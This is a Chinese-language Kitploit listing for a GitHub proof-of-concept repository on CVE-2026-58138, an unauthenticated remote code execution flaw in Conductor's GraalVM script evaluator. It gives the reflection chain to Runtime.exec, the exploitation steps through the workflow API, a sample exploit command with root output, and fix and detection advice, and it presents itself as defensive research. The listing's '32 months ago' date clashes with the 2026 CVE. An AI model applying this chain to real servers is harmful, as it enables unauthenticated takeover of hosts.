Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-58138-Conductor-Unauth-RCE — CVE-2026-58138 — Conductor (3.21.21..<3.30.2) 未授权RCE,通过INLINE GraalVM评估器 (HostAccess.ALL)。包含实验环境与PoC,经端到端验证(root权限)。 | Kitploit
工具/GitHubGitHub/biitts/cve-2026-58138-conductor-unauth-rce
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育Payload 开发实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubbiitts/cve-2026-58138-conductor-unauth-rce

CVE-2026-58138-Conductor-Unauth-RCE

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) 未授权RCE,通过INLINE GraalVM评估器 (HostAccess.ALL)。包含实验环境与PoC,经端到端验证(root权限)。

查看仓库
32个月前尚未审核
分享

CVE-2026-58138 — Conductor 未认证 RCE via INLINE GraalVM 评估器

Conductor(OSS / Orkes)3.21.21 … 至 3.30.2 在 INLINE(以及 LAMBDA / DO_WHILE / SWITCH)任务中评估用户提供的 JavaScript,使用的是具有完全主机访问权限(HostAccess.ALL)的 GraalVM 上下文。该脚本能够反射访问 java.lang.Runtime 并执行操作系统命令。社区 API 默认无认证,因此提交包含此类任务的工作流即为未认证的远程代码执行。

CVE 编号CVE-2026-58138
公告vulncheck — Orkes Conductor 未认证 RCE via GraalVM 脚本评估器
影响版本Conductor 3.21.21 … 至 3.30.2
修复版本3.30.2(提交 87a7d96、c691e35)
漏洞分类CWE-94(代码注入)—— GraalVM 多语言沙箱未强制启用
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
认证无(社区 API 默认无认证)
状态已确认 — 已在 conductoross/conductor:3.22.3 上以 root 用户复现

版本说明(请阅读)。 受影响范围内的评估器配置存在差异: 至约 3.29.x 版本(本实验室使用 3.22.3)使用简单的 allowHostAccess(HostAccess.ALL) 构建上下文 —— 即 CVE 描述的未沙箱配置,也是此 PoC 直接利用的配置。3.30.0/3.30.1 系列添加了部分 denyAccess(...) 黑名单(反射被阻止);完整修复(allowHostClassLoading(false) + 引擎加固)仅在 3.30.2 中落地。本 PoC 针对简单的 HostAccess.ALL 配置,不声称能绕过 3.30.1 的黑名单。


根本原因

core/.../events/ScriptEvaluator.java(≤ 3.29.x / 3.22.3):

root@kitploit:~
return Context.newBuilder("js")
        .allowHostAccess(HostAccess.ALL)   // 完全主机互操作 -> 无沙箱
        .build();

HostAccess.ALL 允许脚本调用 Java 主机对象的任何方法/字段。INLINE 任务将其输入绑定为 $(一个真实的 Java 对象),因此脚本可以跳转:$.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...)。Python 评估器与之等效(Context.newBuilder("python").allowAllAccess(true))。

漏洞利用

  1. 注册一个工作流,其 INLINE 任务携带恶意 expression(POST /api/metadata/workflow,无需认证)。
  2. 启动该工作流(POST /api/workflow/{name},无需认证)。
  3. INLINE 任务评估 JS;反射调用的 Runtime.exec 执行命令,PoC 返回其 stdout 作为任务结果。

复现

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d        # conductoross/conductor:3.22.3(受影响范围内)
# 等待约 60 秒让一体化服务器启动

python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"

观察结果:

root@kitploit:~
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64

uid=0(root) 是 Conductor 进程的用户;输出是实时的 id/uname 状态——真实的执行结果,并非回显。exploit.py 仅使用 Python 标准库。

影响

任何能够访问 Conductor API 的人都可以在编排器主机上执行任意操作系统命令(此处为 root 用户)—— 工作流引擎、其持久化/队列、以及该工作流及其存储凭据所触及的全部系统均遭完全攻陷。

修复措施

  • 升级至 Conductor ≥ 3.30.2(JS/Python 评估器不再启用主机访问/类加载)。
  • 纵深防御:在 Conductor API 前添加认证机制,以非 root 的最小权限用户运行服务器,并限制谁可以注册和运行工作流。

检测方法

标记工作流定义中其 INLINE/LAMBDA/DO_WHILE/SWITCH 任务的 expression 字符串包含 getClass、forName、Runtime、exec、ProcessBuilder 或 java. 反射相关词汇;以及 Conductor 进程生成 shell 的行为。

参见 ANALYSIS.md 了解反射链、各版本评估器配置及补丁详情。


  • 作者:Caio Fabrício — github.com/BiiTts
  • 漏洞归功于原始报告者/供应商公告;本仓库是一个独立、可复现的实验室与 PoC,仅用于防御和教育目的。仅限授权的安全测试使用。
下载工具